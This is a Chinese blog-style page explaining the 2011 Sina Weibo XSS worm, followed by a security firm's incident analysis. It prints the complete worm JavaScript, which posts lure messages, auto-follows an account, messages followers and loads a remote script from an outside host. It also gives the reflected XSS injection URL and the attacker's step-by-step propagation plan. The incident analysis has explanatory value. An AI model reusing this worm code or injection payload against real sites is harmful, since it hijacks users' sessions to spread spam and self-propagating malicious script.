新浪微博之XSS蠕虫脚本源码讲解
主要是因为新浪的广场页面有几个链接对输入参数过滤不严导致的反射性XSS。
========================================
微博XSS漏洞点
weibo.com/pub/star/g/xyyyd%22%3e%3cscript%20src=//www.****.com/images/t.js%3e%3c/script%3e?type=update
微博XSS脚本内容(XSS源码)
function createXHR(){
return window.XMLHttpRequest?
new XMLHttpRequest():
new ActiveXObject("Microsoft.XMLHTTP");
}
function getappkey(url){
xmlHttp = createXHR();
xmlHttp.open("GET",url,false);
xmlHttp.send();
result = xmlHttp.responseText;
id_arr = '';
id = result.match(/namecard=\"true\" title=\"[^\"]*/g);
for(i=0;i<id.length;i++){
sum = id.toString().split('"')[3];
id_arr += sum + '||';
}
return id_arr;
}
function random_msg(){
link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;
var msgs = [
'郭美美事件的一些未注意到的细节:',
'建党大业中穿帮的地方:',
'让女人心动的100句诗歌:',
'3D肉团团高清普通话版种子:',
'这是传说中的神仙眷侣啊:',
'惊爆!范冰冰艳照真流出了:',
'杨幂被爆多次被潜规则:',
'傻仔拿锤子去抢银行:',
'可以监听别人手机的软件:',
'个税起征点有望提到4000:'];
var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;
msg = encodeURIComponent(msg);
return msg;
}
function post(url,data,sync){
xmlHttp = createXHR();
xmlHttp.open("POST",url,sync);
xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
xmlHttp.send(data);
}
function publish(){
url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime(); "发送微博"
data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';
post(url,data,true);
}
function follow(){
url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();
data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';
post(url,data,true); "加关注"
}
function message(){
url = 'http://weibo.com/' + $CONFIG.$uid + '/follow'; "给粉丝发私信"
ids = getappkey(url);
id = ids.split('||');
for(i=0;i<id.length - 1 & i<5;i++){
msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();
msg = random_msg();
msg = encodeURIComponent(msg);
user = encodeURIComponent(encodeURIComponent(id));
data = 'content=' + msg + '&name=' + user + '&retcode=';
post(msgurl,data,false);
}
}
function main(){
try{
publish();
}
catch(e){}
try{
follow();
}
catch(e){}
try{
message();
}
catch(e){}
}
try{
x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);
}
catch(e){}
main();
var t=setTimeout('location="http://weibo.com/pub/topic";',5000);
Nevel安全专家:新浪微博”中毒”分析报告
事件的经过
新浪微博6月28日晚出现大范围”中毒”现象,大量用户自动发送”建党大业中穿帮的地方”,“个税起征点有望提到4000”,“郭美美事件的一些未注意到的细节”等带链接的微博与私信,并自动关注一位名为hellosamy的用户。
此前利用XSS漏洞传播蠕虫的案列在社交网站中曾多次发生,Facebook,Twitter,以及QQ空间,百度空间等都出现过类似的情况。此次新浪
微博”中毒”,立刻引起了Nevel公司安全团队的重视。新浪官方早在第一时间就检测到该病毒,并对漏洞进行了修补,病毒的存活时间不到半个小时,其实
XSS中毒现象也并不像传统意义上的中毒,仅仅存活在服务器上,它基本不会对用户电脑造成很大威胁,但会利用用户在新浪微博上的会话权限进行微博发布、关
注等操作,同时该漏洞也无法获取到用户的密码信息,用户不需要有太多的担忧。
分析报告:
下面我们来一起分析下该漏洞的成因:从PAYLOAD上来看,实际上属于一个反射弧性的XSS攻击,
http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update
URlDecode:
http://weibo.com/pub/star/g/xyyyd"> ?type=update
攻击者利用微博广播广场页面http://weibo.com/pub/star的一个URL注入了js脚本,那么这个脚本攻击者是怎么注入进去的(新
浪漏洞已修补),我们其实可以根据现象去分析,对于蠕虫攻击,受攻击者的页面应该也都会发布带有攻击性的JS内容,我们可以发现所有被攻击的用户微博上都
会发布一条短连接信息,因此我们可以初步断定问题发生在短连接处,笔者利用自己的微博,尝试发布一条带有短连接形式的微博,直接发布一条含有URL的微
博,如下图:
发布完成后我们查看下网页源代码,如下图:
很显然真实的地址会被写入到action-data的属性中去,因此不难想象漏洞产生原因,由于action-data的值没有进行合适的过滤,导致攻击者可以输入畸形的数据插入JS脚本,闭合前面的双引号和尖括号,从而造成XSS攻击。
构造Xss_Exploit如下:
http://weibo.com/pub/star/g/xyyyd"> ?type=update
注:
//www.2kt.cn/images/t.js是一种合法的协议写法,与http://www.2kt.cn/images/t.js效果一样。
完整模拟攻击者的攻击手段:
1 首先将攻击脚本存放在www.2kt.cn服务器上
2 建立恶意用户,利用构造的XSS_Exploit发布微博消息
3 通过发布吸引力强的热门的话题让有影响力的人访问,中招者自动发微博并进行传播
在攻击过程中,攻击者多次利用短连接将真实的URL进行转换,让一般用户不易发现,以便更好地延长蠕虫的存活时间,短连接在提供简短易记的同时,也带来了一些新的安全问题,攻击者可以利用这些短连接隐藏实际攻击URL来进行攻击.
新浪微博之XSS蠕虫脚本源码讲解的更多相关文章
- 手机3D游戏开发:自定义Joystick的相关设置和脚本源码
Joystick在手游开发中非常常见,也就是在手机屏幕上的虚拟操纵杆,但是Unity3D自带的Joystick贴图比较原始,所以经常有使用自定义贴图的需求. 下面就来演示一下如何实现自定义JoySti ...
- (3.4)mysql基础深入——mysql.server启动脚本源码阅读与分析
(3.4)mysql基础深入——mysql.server启动脚本源码阅读与分析 my.server主要分为3大部分 [1]变量初始化部分 [2]函数声明部分 [3]具体执行部分 #!/bin/sh # ...
- Samy XSS Worm之源码讲解
说到Web安全和XSS跨站脚本技术,几乎所有的书都会提到Samy Worm,这是在2005年感染了mySpace社交网络上百万用户的蠕虫.正如Morris蠕虫是互联网第一个蠕虫, Samy Worm则 ...
- gradle脚本源码查看环境搭建
背景 我刚入门学习gradle时,网上资料都是说通过gradle的api查看并学习脚本编写,但是api一般只有接口说明,并不能深入了解各个api的实现逻辑,有时就会对一些脚本的写法感到疑惑.通过搭建源 ...
- Tomcat的启停脚本源码解析
Tomcat是一款我们平时开发过程中最常用到的Servlet容器.本系列博客会记录Tomcat的整体架构.主要组件.IO线程模型.请求在Tomcat内部的流转过程以及一些Tomcat调优的相关知识. ...
- 一篇很好的关于mysqld_safe脚本源码解读的文章,收藏了!!
#!/bin/sh # 一些状态变量的定义 KILL_MYSQLD=; # 试图kill多余的mysqld_safe程序,1表示需要kill MYSQLD= # mysqld二进制可执行文件的名称 n ...
- Qt5.5.0使用mysql编写小软件源码讲解---顾客信息登记表
Qt5.5.0使用mysql编写小软件源码讲解---顾客信息登记表 一个个人觉得比较简单小巧的软件. 下面就如何编写如何发布打包来介绍一下吧! 先下载mysql的库文件链接:http://files. ...
- 源码讲解 node+mongodb 建站攻略(一期)第二节
源码讲解 node+mongodb 建站攻略(一期)第二节 上一节,我们完成了模拟数据,这次我们来玩儿真正的数据库,mongodb. 代码http://www.imlwj.com/download/n ...
- 《数据结构-C语言版》(严蔚敏,吴伟民版)课本源码+习题集解析使用说明
<数据结构-C语言版>(严蔚敏,吴伟民版)课本源码+习题集解析使用说明 先附上文档归类目录: 课本源码合辑 链接☛☛☛ <数据结构>课本源码合辑 习题集全解析 链接☛☛☛ ...
随机推荐
- jquery Mobile应用第2课《构建跨平台APP:jQuery Mobile移动应用实战》连载二(简单的QWER键盘)
在jQuery Mobile的布局中,控件大多都是单独占据页面中的一行,按钮自然也不例外,但是仍然有一些方法能够让多个按钮组成一行,比如说在范例6-5中就利用按钮分组的方法使4个按钮并列在一行中,如图 ...
- Python学习教程(learning Python)--3.3.2 Python的关系运算
如果if的condition不用布尔表达式来做条件判断而采用关系表达式,实际上关系表达式运算的结果要么是True要么是False.下面我们先了解一些有关关系运算符的基础知识,如下表所示. 做个小程序测 ...
- DataGridView的DataGridViewCheckBox问题
datagridview有一列DataGridViewCheckBox,但连续点击的话(1秒点击N次),会导致出错,数据处理不正确,感觉 private void dgv_CellContentCli ...
- C,C++容易被忽略的问题
1.字符串数组,字符串指针可以直接输出 ]="I am a student"; cout<<s2<<endl; char *p="I am a s ...
- HDU1009
题意:有n个房子,每个房子里都有老鼠喜欢吃的咖啡豆J[i],但是每个房子都有猫看守,老鼠现在手上有M的猫粮.可以用猫粮换咖啡豆,每只猫都有猫粮的要求F[i].老鼠得到的咖啡豆是J[i]*a% ...
- hdu 2579 Dating with girls(2)
题目连接 http://acm.hdu.edu.cn/showproblem.php?pid=2579 Dating with girls(2) Description If you have sol ...
- Android内存管理机制
相信一步步走过来的Android从业者,每个人都会遇到OOM的情况.如何避免和防范OOM的出现,对于每一个程序员来说确实是一门必不可少的能力. 今天我们就谈谈在Android平台下内存的管理之道,开始 ...
- Orchard工作原理
概述 本文翻译仅供学习之用,了解Orchard工作原理设计思想.技术点及关键词,如有缺漏请不吝指正.鉴于能力有限定有诸多曲解或不完整的地方,请海涵.不定时完善整理. CMS不像常规的web程序,它更像 ...
- Install sheild设置了Blue皮肤,但是有的窗口更改不了问题
发现和顺序有关系:1.先指定skins:2.Release:3.再改对话框
- .gitignore无效,不能过滤某些文件
利用.gitignore过滤文件,如编译过程中的中间文件,等等,这些文件不需要被追踪管理. 现象: 在.gitignore添加file1文件,以过滤该文件,但是通过git status查看仍显示fil ...